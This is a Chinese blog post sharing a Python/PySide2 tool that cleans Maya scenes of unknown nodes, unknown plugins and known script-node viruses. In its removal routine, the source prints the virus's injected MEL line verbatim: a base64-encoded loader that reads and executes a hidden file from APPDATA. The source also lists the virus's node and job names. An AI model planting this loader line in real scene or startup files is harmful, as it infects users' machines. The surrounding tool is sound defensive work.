普天同庆、你的文件贼健康

脚本UI展示:

主要功能模块

1. 清理未知节点 (Tab 1)

  • 检查功能:扫描场景中的未知节点类型(unknown, unknownDag, blindDataTemplate)
  • 清理功能:删除选中的未知节点
  • 界面特点:显示节点列表,支持多选删除

2. 清理未知插件 (Tab 2)

  • 检查功能:列出场景中加载的未知插件
  • 清理功能:移除选中的未知插件
  • 特别处理:处理Turtle.mll插件的卸载

3. 病毒查杀 (Tab 3)

  • 病毒检测:检查已知的Maya病毒节点
    • 检查putiantongqing, PuTianTongQing, UI等病毒特征
    • 检查脚本节点的beforeafter属性
  • 病毒清除
    • 删除病毒节点
    • 清除病毒脚本任务
    • 删除病毒文件(userSetup.py, vaccine.py等)
    • 清理mayaHIK.pres.mel文件中的恶意代码
    • 删除病毒创建的syssst文件夹
  • 日志显示:彩色文本显示操作日志

4. 后台批量执行 (Tab 4)

  • 批量处理:拖放Maya文件或目录进行批量清理
  • 后台执行:使用mayabatch.exe在后台处理文件
  • 功能包括
    • 清理未知节点
    • 清理未知插件
    • 自动备份原文件(添加_old后缀)
    • 保存清理后的文件

技术特点

界面设计

  • 使用PySide2创建图形界面
  • 分页标签设计,功能分类清晰
  • 语言:Python
  • 支持拖放操作

病毒处理机制

  1. 节点检查:检查script类型节点的名称和属性
  2. 脚本任务清理:查找并终止恶意脚本任务
  3. 文件清理:删除用户脚本目录中的病毒文件
  4. 系统文件修复:清理mayaHIK.pres.mel中的注入代码
  5. 文件夹清理:删除病毒创建的目录

注意事项

  1. 涉及嵌套引用的文无,法处理被引用的文件内容。注!注!注!在此提示。

脚本源码内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
# -*- coding:utf-8 -*-
# 微信公众号:CGRun
# Author:Meng
import time
import os,sys,shutil
from maya.cmds import *
import maya.cmds as cmds
import maya.mel as mel
from PySide2.QtWidgets import QLineEdit, QWidget, QVBoxLayout, QHBoxLayout, QMainWindow, \
QFileDialog, QPushButton,QPlainTextEdit, QMessageBox, QListWidget,QComboBox,QTabWidget, QLabel,QTextEdit
from PySide2 import QtCore
from PySide2 import QtWidgets
from PySide2.QtGui import QTextCursor, QColor,QTextCharFormat
import subprocess

class AppStyles:
Button_style01 = """
QPushButton {
background-color: #2c2c2c;
color: white;
border: 1px solid #555555;
border-radius: 5px;
padding: 8px;
font-weight: bold;
font-size: 12px;
}
QPushButton:hover {
background-color: #3c3c3c;
border: 1px solid #777777;
}
QPushButton:pressed {
background-color: #1c1c1c;
}
"""

Button_style03 = """
QPushButton {
background-color: #2c2c2c;
color: #00FF7F;
border: 1px solid #555555;
border-radius: 5px;
padding: 8px;
font-weight: bold;
font-size: 12px;
}
QPushButton:hover {
background-color: #3c3c3c;
border: 1px solid #777777;
}
QPushButton:pressed {
background-color: #1c1c1c;
}
"""

ListWidget_01 = """
QListWidget {
background-color: #1e1e1e;
color: white;
border: 2px solid #2c2c2c;
border-radius: 5px;
padding: 5px;
font-size: 11px;
}
QListWidget::item {
padding: 3px;
}
QListWidget::item:selected {
background-color: #555555;
color: white;
}
QListWidget::item:hover {
background-color: #444444;
}
"""

class TabMenu(QTabWidget):
def __init__(self, parent=None):
super(TabMenu, self).__init__(parent)
self.resize(450, 530)
self.setWindowTitle(u'文件清理优化(节点+插件) For CGRun')
self.setWindowFlags(self.windowFlags() ^ QtCore.Qt.WindowStaysOnTopHint)

self.tab1 = MyWindow1()
self.tab2 = MyWindow2()
self.tab3 = MyWindow3()
self.tab4 = MyWindow4()

self.addTab(self.tab1, u"清理未知节点")
self.addTab(self.tab2, u"清理未知插件")
self.addTab(self.tab3, u"病毒查杀")
self.addTab(self.tab4, u"后台批量执行")
self.setCurrentIndex(2)

class MyWindow1(QWidget):
def __init__(self):
self.sel_list = []
QWidget.__init__(self)
self.resize(300, 370)

self.setWindowTitle(u'清理未知节点')
self.setWindowFlags(self.windowFlags() ^ QtCore.Qt.WindowStaysOnTopHint)

self.Gets_unknown_nodes_bt1 = QPushButton(u'检查场景中未知节点')
self.Gets_unknown_nodes_bt1.setStyleSheet(AppStyles.Button_style01)

self.label_title1 = QLabel(u"", self)

self.clean_unknown_nodes_bt1 = QPushButton(u"清理未知节点")
self.clean_unknown_nodes_bt1.setStyleSheet(AppStyles.Button_style01)

self.listView_count1 = QListWidget()
self.listView_count1.setSelectionMode(QtWidgets.QAbstractItemView.ExtendedSelection)
self.listView_count1.setStyleSheet(AppStyles.ListWidget_01)

self.Gets_unknown_nodes_bt1.clicked.connect(self.Discrimination_Unknown_Nodes)
self.clean_unknown_nodes_bt1.clicked.connect(self.Clean_not)
self.listView_count1.itemSelectionChanged.connect(self.on_selection_changed)

v_layout = QVBoxLayout(self)
v_layout.addWidget(self.listView_count1)
v_layout.addWidget(self.label_title1)
v_layout.addWidget(self.Gets_unknown_nodes_bt1)
v_layout.addWidget(self.clean_unknown_nodes_bt1)

def Discrimination_Unknown_Nodes(self):
self.sel_list = []
self.listView_count1.clear()

delNodeType = ('unknown', 'unknownDag','blindDataTemplate')
UnknownList = ls(type=delNodeType)
len_list = len(UnknownList)

if len_list > 0:
for node in UnknownList:
self.listView_count1.addItem(node)
self.label_title1.setText(u"识别到场景内未知节点: "+str(len_list))
else:
self.label_title1.setText(u"当前场景未发现异常可疑节点 !")
QtWidgets.QMessageBox.information(self, u"提示信息", u"未发现异常可疑节点")

def Clean_not(self):
len_sel_list = len(self.sel_list)
if len_sel_list > 0:
print("delete_sel_list_name:", self.sel_list)
for UnknownName in self.sel_list:
if referenceQuery(UnknownName, isNodeReferenced=True) == False:
try:
lockNode(UnknownName, lock=False)
delete(UnknownName)
except Exception as e:
print("Error occurred: ", e)

QtWidgets.QMessageBox.information(self, u"提示信息", u"清理未知节点:{}个".format(len_sel_list))
self.Discrimination_Unknown_Nodes()
else:
QtWidgets.QMessageBox.information(self, u"提示信息", u"未选择异常可疑节点\n请先选!")

def on_selection_changed(self):
selected_indexes = self.listView_count1.selectedIndexes()
if selected_indexes:
self.sel_list = []
for index in selected_indexes:
texts = self.listView_count1.item(index.row()).text()
self.sel_list.append(texts)
self.label_title1.setText(u"当前选中未知节点: "+str(len(self.sel_list)))

class MyWindow2(QWidget):
def __init__(self):
self.sel_list2 = []
QWidget.__init__(self)
self.resize(300, 370)

self.setWindowTitle(u'清理未插件')
self.setWindowFlags(self.windowFlags() ^ QtCore.Qt.WindowStaysOnTopHint)

self.Gets_unknown_plugins_bt2 = QPushButton(u'检查场景中未知插件')
self.Gets_unknown_plugins_bt2.setStyleSheet(AppStyles.Button_style01)

self.label_title2 = QLabel(u"", self)

self.clean_unknown_plugins_bt2 = QPushButton(u"清理未知插件")
self.clean_unknown_plugins_bt2.setStyleSheet(AppStyles.Button_style01)

self.listView_count2 = QListWidget()
self.listView_count2.setSelectionMode(QtWidgets.QAbstractItemView.ExtendedSelection)
self.listView_count2.setStyleSheet(AppStyles.ListWidget_01)

self.Gets_unknown_plugins_bt2.clicked.connect(self.Dis_Unknown_Plugins)
self.listView_count2.itemSelectionChanged.connect(self.selection_changed2)
self.clean_unknown_plugins_bt2.clicked.connect(self.Clean_Plugins)

v_layout2 = QVBoxLayout(self)
v_layout2.addWidget(self.listView_count2)
v_layout2.addWidget(self.label_title2)
v_layout2.addWidget(self.Gets_unknown_plugins_bt2)
v_layout2.addWidget(self.clean_unknown_plugins_bt2)

def Dis_Unknown_Plugins(self):
self.sel_list2 = []
self.listView_count2.clear()

Unknown_plugins = unknownPlugin(q=True, list=True)

if Unknown_plugins is None:
Unknown_plugins = []
self.label_title2.setText(u"当前场景未发现异常可疑插件节点 !")
QtWidgets.QMessageBox.information(self, u"提示", u"未发异常可疑插件节点")
else:
len_list2 = len(Unknown_plugins)
if len_list2 > 0:
for plugins in Unknown_plugins:
self.listView_count2.addItem(plugins)
self.label_title2.setText(u"识别到场景内未知插件节点: "+str(len_list2)+u"个")

def Clean_Plugins(self):
len_sel_list2 = len(self.sel_list2)
if len_sel_list2 > 0:
print("delete_sel_list_name:", self.sel_list2)
if self.sel_list2 is not None:
for plugin in self.sel_list2:
try:
unknownPlugin(plugin, remove=True)
print(u"清除"+plugin)
except:
continue
elif pluginInfo('Turtle.mll', q = 1, loaded = 1):
try:
unloadPlugin('Turtle.mll', f = 1)
except:
pass

QtWidgets.QMessageBox.information(self, u"提示信息", u"清理未知插件节点:{}个".format(len_sel_list2))
self.Dis_Unknown_Plugins()
else:
QtWidgets.QMessageBox.information(self, u"提示", u"未选中将要清除的插件节点!")

def selection_changed2(self):
selected_indexes = self.listView_count2.selectedIndexes()
if selected_indexes:
self.sel_list2 = []
for index in selected_indexes:
texts = self.listView_count2.item(index.row()).text()
self.sel_list2.append(texts)
self.label_title2.setText(u"当前选中未知插件节点: "+str(len(self.sel_list2))+u"个")

class MyWindow3(QWidget):
def __init__(self):
text_edit_style = """
QTextEdit {
background-color: #333333;
color: #FFDC7B;
border: 1px solid #555555;
border-radius: 15px;
padding: 5px;
font-size: 15px;
font-family: 'Courier New', Courier, monospace;
}
"""

self.sel_list3 = []
QWidget.__init__(self)
self.resize(300, 370)

self.setWindowTitle(u'病毒查杀')
self.setWindowFlags(self.windowFlags() ^ QtCore.Qt.WindowStaysOnTopHint)

self.Gets_virus_bt1 = QPushButton(u'病——查')
self.Gets_virus_bt1.setStyleSheet(AppStyles.Button_style01)

self.label_title3 = QLabel(u"", self)

self.clean_virus_bt2 = QPushButton(u"毒——杀")
self.clean_virus_bt2.setStyleSheet(AppStyles.Button_style01)

self.text_log = QTextEdit()
self.text_log.setStyleSheet(text_edit_style)
self.text_log.setReadOnly(True)

self.Gets_virus_bt1.clicked.connect(self.show_Virus)
self.clean_virus_bt2.clicked.connect(self.delete_Virus)

self.hint_label = QLabel(u"已知病毒查杀:")
self.hint_label.setAlignment(QtCore.Qt.AlignCenter)

self.hint_labe2 = QLabel(u"<普天同庆>;<你的文件贼健>;<uifiguration>")
self.hint_labe2.setAlignment(QtCore.Qt.AlignCenter)

v_layout2 = QVBoxLayout(self)
v_layout2.addWidget(self.hint_label)
v_layout2.addWidget(self.hint_labe2)
v_layout2.addWidget(self.text_log)
v_layout2.addWidget(self.label_title3)
v_layout2.addWidget(self.Gets_virus_bt1)
v_layout2.addWidget(self.clean_virus_bt2)

self.default_color = QColor('#FFDC7B')
self.color1 = QColor(241, 21, 103)
self.color2 = QColor('#7FC794')
self.color3 = QColor('#3388FF')

def appendColoredText(self, text, color):
cursor = self.text_log.textCursor()
format = QTextCharFormat()
format.setForeground(QColor(color))
cursor.setCharFormat(format)
cursor.insertText(text + '\n')
self.text_log.setTextCursor(cursor)

def show_Virus(self):
self.sel_list3 = []
self.text_log.clear()

print(u'检查病毒节点')
scriptNodes = cmds.ls(type='script')
for scr in scriptNodes:
self.appendColoredText(u'检查: '+ scr + u' 节点', self.default_color)

virus_list = self.checkVirus(scriptNodes)
len_list3 = len(virus_list)

if not virus_list:
self.appendColoredText(u'\n(安全.未发现异常病毒节点!!!)', self.color2)
self.appendColoredText("\n", self.default_color)
self.label_title3.setText(u"当前场景未发现异常可疑的病毒节点!")
QtWidgets.QMessageBox.information(self, u"提示", u"当前场景未发现异常可疑的病毒节点!")
else:
self.label_title3.setText(u'识别到场景内已知可疑的病毒节点: ' + str(len_list3) + u'个')
self.text_log.append('\n')
for Virus in virus_list:
cursor = self.text_log.textCursor()
cursor.movePosition(QTextCursor.End)
self.appendColoredText(u'(发现病疑似毒节点): '+ Virus + "\n", self.color1)

self.appendColoredText(u'(检查完成!!!)点击 毒——杀\n', self.color2)
self.appendColoredText("\n", self.default_color)

def delete_Virus(self):
scriptNodes = cmds.ls(type='script')
virus_list = self.checkVirus(scriptNodes)

self.appendColoredText(u"————————————清杀删———————————", self.default_color)
self.deleteScript()
self.remove_contents_mayaHIK()

if virus_list:
print(u'删除病毒节点:')
print('\n'.join(str(i) for i in virus_list))

self.appendColoredText("\n", self.default_color)

try:
cmds.delete(virus_list)
for Virus in virus_list:
self.appendColoredText(u'(删除节点):'+ Virus, self.color1)

self.appendColoredText("\n", self.default_color)
self.killScriptJob()
self.appendColoredText(u'(清理完成!!!)', self.color2)
self.appendColoredText("\n", self.default_color)
except Exception as e:
print(e)
else:
print(u'没有发现病毒节点')
self.appendColoredText(u'\n(没有发现病毒节点!!!)', self.color2)
self.appendColoredText("\n", self.default_color)

def killScriptJob(self):
job_names = ['leukocyte.antivirus()', 'sysytenasdasdfsadfsdaf_dsfsdfaasd', 'IyAtKi0GY29kaW5n']
all_script_jobs = cmds.scriptJob(listJobs=True)

for each_job in all_script_jobs:
for job in job_names:
if job in each_job:
job_num = int(each_job.split(':', 1)[0])
try:
cmds.scriptJob(kill=job_num, force=True)
print(u'删除病毒脚本任务:%s' % job)
ddd = str('(删除病毒脚本指令):%s' % job)
self.appendColoredText(ddd, self.color2)
self.appendColoredText("\n", self.default_color)
except Exception as e:
print(e)

def deleteScript(self):
deleteList = ['userSetup.py', 'vaccine.py', 'vaccine.pyc', 'userSetup.mel', 'fuckVirus.py', 'fuckVirus.pyc']
vaccine_path = cmds.internalVar(userAppDir=True)

for deletes in deleteList:
filePath = os.path.join(vaccine_path, 'scripts', deletes)
if os.path.exists(filePath):
print(filePath)
try:
os.remove(filePath)
print(u'删除文件:%s' % deletes)
self.appendColoredText(u'\n(删除文件): '+ deletes, self.color3)
except Exception as e:
print(e)

def checkVirus(self, scriptNodes):
checkList = ['putiantongqing', 'PuTianTongQing', 'UI', 'vaccine_gene', 'breed_gene',
'fuckVirus_gene', 'sysytenasdasdfsadfsdaf_dsfsdfaasd', 'scriptl', 'uifiguration']

deleteNode = []

for s in scriptNodes:
nodeName = cmds.ls(s, long=True)[0]
if any(check in nodeName for check in checkList):
if s not in deleteNode:
deleteNode.append(s)

before_attr = cmds.getAttr('%s.before' % s, silent=True)
after_attr = cmds.getAttr('%s.after' % s, silent=True)

if before_attr and isinstance(before_attr, str) and any(check in before_attr for check in checkList):
if s not in deleteNode:
deleteNode.append(s)

if after_attr and isinstance(after_attr, str) and any(check in after_attr for check in checkList):
if s not in deleteNode:
deleteNode.append(s)

return deleteNode

def remove_contents_mayaHIK(self):
hjkl, pou, aba, ffd, ggs, gfh, aq, gh, ll, tt, ff, gg, ghd, kk, da, cc, ghj, ii, jaj = '/', '/p', '\n', 'urc', 'l1', '0n', 'h_C', 'N/p', '/ma', 'pres', '.m', 'el', 'yaH', 'IK.', '/reso', 'es/', '/z', 'lug-ins', 'ja_JP'

addressCN_path = os.getenv("MAYA_LOCATION") + da + ffd + cc + ggs + gfh + ghj + aq + gh + ii + ll + ghd + kk + tt + ff + gg
addressJP_path = os.getenv("MAYA_LOCATION") + da + ffd + cc + ggs + gfh + hjkl + jaj + pou + ii + ll + ghd + kk + tt + ff + gg

mayaHIK_paths = [addressCN_path, addressJP_path]
code_to_remove = 'python("import base64; pyCode = base64.urlsafe_b64decode(\'aW1wb3J0IGJpbmFzY2lpDWltcG9ydCBvcw1tYXlhX3BhdGhfPW9zLmdldGVudigiQVBQREFUQSIpKydcc3lzc3N0Jw1tYXlhcGF0aD1tYXlhX3BhdGhfLnJlcGxhY2UoJ1xcJywnLycpDW1heWFfcGF0aD0nJXMvdWl0aW9uLnQnJW1heWFwYXRoDXRyeToNICAgIHdpdGggb3BlbihtYXlhX3BhdGgsICdyYicpIGFzIGY6DSAgICAgICAgZF9hX3RfYSA9IGYucmVhZCgpDSAgICBkYXRhID0gYmluYXNjaWkuYTJiX2Jhc2U2NChkX2FfdF9hKQ0gICAgZXhlYyhkYXRhKQ1leGNlcHQgSU9FcnJvciBhcyBlOg0gICAgcGFzcw==\'); exec (pyCode)");'

for file_path in mayaHIK_paths:
if os.path.exists(file_path):
with open(file_path, 'r') as file:
lines = file.readlines()

if code_to_remove in lines:
lines.remove(code_to_remove)
with open(file_path, 'w') as file:
file.writelines(lines)

print(u"已删除恶意代码.")
self.appendColoredText(u'\n(已删除恶意代码): {}'.format(code_to_remove), self.color3)
else:
print(u"文件中未找到指定代码.")

syssst_user_directory = "C:\\Users\\{}\\AppData\\Roaming\\syssst".format(os.environ.get('USERNAME'))

if os.path.exists(syssst_user_directory):
shutil.rmtree(syssst_user_directory)
print(u"文件夹{}已成功删除。".format(syssst_user_directory))
self.appendColoredText(u'\n(已删除恶意代码文件夹及其内容 ): {}'.format(syssst_user_directory), self.color3)
else:
print(u"文件夹 {} 不存在。".format(syssst_user_directory))

class MyWindow4(QWidget):
def __init__(self):
QWidget.__init__(self)
self.resize(300, 370)
self.setWindowTitle(u'后台清理未知节点和插件')
self.setWindowFlags(self.windowFlags() ^ QtCore.Qt.WindowStaysOnTopHint)

self.char_bt = QPushButton(u'去除选择')
self.char_bt.setStyleSheet(AppStyles.Button_style03)

self.clear_bt = QPushButton(u'清空列表')
self.clear_bt.setStyleSheet(AppStyles.Button_style03)

self.addshader_bt = QPushButton(u"执行")
self.addshader_bt.setStyleSheet(AppStyles.Button_style03)

self.listView_count = QListWidget()
self.listView_count.setStyleSheet(AppStyles.ListWidget_01)
self.listView_count.setStyleSheet("QListWidget { color: #9B30FF; }")

self.hint_label = QLabel(u"拖入ma文件或目录...\n后台清理未知节点和插件")
self.hint_label.setStyleSheet("height: 20px;border-radius:5px;border:0px solid #2c2c2c")
self.hint_label.setAlignment(QtCore.Qt.AlignCenter)

self.char_bt.clicked.connect(self.query_and_remove_selected)
self.clear_bt.clicked.connect(self.ClearList)
self.addshader_bt.clicked.connect(self.RUN)

horizontal_layout1 = QHBoxLayout()
horizontal_layout1.addWidget(self.char_bt)
horizontal_layout1.addWidget(self.clear_bt)

v_layout = QVBoxLayout(self)
v_layout.addWidget(self.hint_label)
v_layout.addWidget(self.listView_count)
v_layout.addLayout(horizontal_layout1)
v_layout.addWidget(self.addshader_bt)

self.listView_count.setSelectionMode(QListWidget.MultiSelection)
self.setupDragAndDrop()

def setupDragAndDrop(self):
self.setAcceptDrops(True)
self.listView_count.setAcceptDrops(True)

def dragEnterEvent(self, event2):
mime_data = event2.mimeData()
if mime_data.hasUrls():
event2.acceptProposedAction()

def dropEvent(self, event2):
self.listView_count.setStyleSheet("QListWidget { color: #9B30FF; }")
urls = event2.mimeData().urls()

for url in urls:
file_path = url.toLocalFile()
if os.path.isfile(file_path):
if file_path.endswith('.ma'):
item = file_path
self.listView_count.addItem(item)
elif os.path.isdir(file_path):
ma_files = self.get_all_ma_files(file_path)
for ma_file in ma_files:
self.listView_count.addItem(ma_file)

def get_all_ma_files(self, directory):
ma_files = []
for root, dirs, files in os.walk(directory):
for file3 in files:
if file3.endswith('.ma'):
ma_file = os.path.join(root, file3)
ma_files.append(ma_file)
return ma_files

def query_and_remove_selected(self):
selected_items = self.listView_count.selectedItems()
if not selected_items:
QtWidgets.QMessageBox.information(self, u"提示", u"没有选中任何项目。")
return

selected_item_texts = [item.text() for item in selected_items]
print(selected_item_texts)
job = '\n'.join(selected_item_texts)
QtWidgets.QMessageBox.information(self, u"提示", u'去除job:\n{}'.format(job))

for item in selected_items:
self.listView_count.takeItem(self.listView_count.row(item))

def AddChar(self):
selectMeshs = []
selectMeshs.append(cmds.file(q=1,sn=1))

if len(selectMeshs) > 0:
if self.listView_count.count() > 0:
for selectMesh in selectMeshs:
tempFlag = True
for i in range(0, self.listView_count.count()):
aaa = self.listView_count.item(i).text()
if selectMesh == aaa:
tempFlag = False
break
if tempFlag:
self.listView_count.addItem(selectMesh)
else:
for selectMesh in selectMeshs:
self.listView_count.addItem(selectMesh)
else:
QtWidgets.QMessageBox.information(self, u"提示", u"请先选择需要添加材质的人物")

def ClearList(self):
self.listView_count.clear()

def startRun(self):
maya_path = sys.executable
mayabatch_path = os.path.join(os.path.dirname(maya_path), 'mayabatch.exe')
maya_bin_path = os.path.dirname(maya_path) + "\\CGRun\\command"

if not os.path.exists(maya_bin_path):
os.makedirs(maya_bin_path)

print(maya_bin_path)
melPath = maya_bin_path + "/temp_script.mel"
pyPath = maya_bin_path + "/temp_script.py"
pycPath = maya_bin_path + "/temp_script.pyc"

mel_script = """// -*- coding:utf-8 -*-
python "import sys";
python "import os";
python "print sys.argv";
python "sys.path.append(os.path.dirname(sys.argv[-3]))";
python "import temp_script";
python "reload(temp_script)";
python "temp_script.RunExport(sys.argv[-1],publishPath = sys.argv[-1])";
"""

py_script = """# -*- coding:utf-8 -*-
import os,sys
import maya.cmds as cmds
import shutil

def RunExport(path, publishPath=''):
print(path)
fPath = os.path.dirname(path)
fName = os.path.basename(path).split(".")[0]
clean_Path = "%s/%s.ma" % (fPath, fName + '_clean')
old_Path = "%s/%s.ma" % (fPath, fName + '_old')

shutil.copy2(path, old_Path)
cmds.file(path, open=True, force=True)

delNodeType = ('unknown', 'unknownDag', 'blindDataTemplate')
unknown_nodes = cmds.ls(type=delNodeType)

if unknown_nodes:
for node in unknown_nodes:
try:
cmds.lockNode(node, lock=False)
cmds.delete(node)
except:
pass

unknown_plugins = cmds.unknownPlugin(q=True, list=True)
if unknown_plugins:
for plugin in unknown_plugins:
cmds.unknownPlugin(plugin, remove=True)

cmds.file(rename=path)
cmds.file(save=True, type="mayaAscii")
print(u"save")
"""

with open(melPath, "w") as f:
mel_script = mel_script.encode('utf-8') if sys.version_info[0] < 3 else mel_script
f.write(mel_script)

with open(pyPath, "w") as f:
mel_script = mel_script.encode('utf-8') if sys.version_info[0] < 3 else mel_script
f.write(py_script)

for index in range(self.listView_count.count()):
indexma = self.listView_count.item(index).text()
run = '"{mayaBatchPath}" -script "{melFile}" "{pyPath}" "{maPath}"'.format(
mayaBatchPath=mayabatch_path, melFile=melPath, pyPath=pyPath, maPath=indexma)
print(run)

if os.path.exists(pycPath):
os.remove(pycPath)

subprocess.check_call(run, shell=True)

self.hint_label.setText(u"ok! 拖入ma文件或目录......")
self.listView_count.setStyleSheet("QListWidget { color: #00FF7F; }")
QtWidgets.QMessageBox.information(self, u"提示信息", u"结束!结束!结束!")

def RUN(self):
self.hint_label.setText(u"3秒")
QtWidgets.QApplication.processEvents()
time.sleep(1)

self.hint_label.setText(u"2秒")
QtWidgets.QApplication.processEvents()
time.sleep(1)

self.hint_label.setText(u"1秒")
QtWidgets.QApplication.processEvents()
time.sleep(1)

self.hint_label.setText(u"后台运行中......耐心等待")
QtWidgets.QApplication.processEvents()
print(u'后台运行中......耐心等待')

self.startRun()
print(u'释放进程......')

instance = TabMenu()

def main():
instance.show()
main()

演示视频: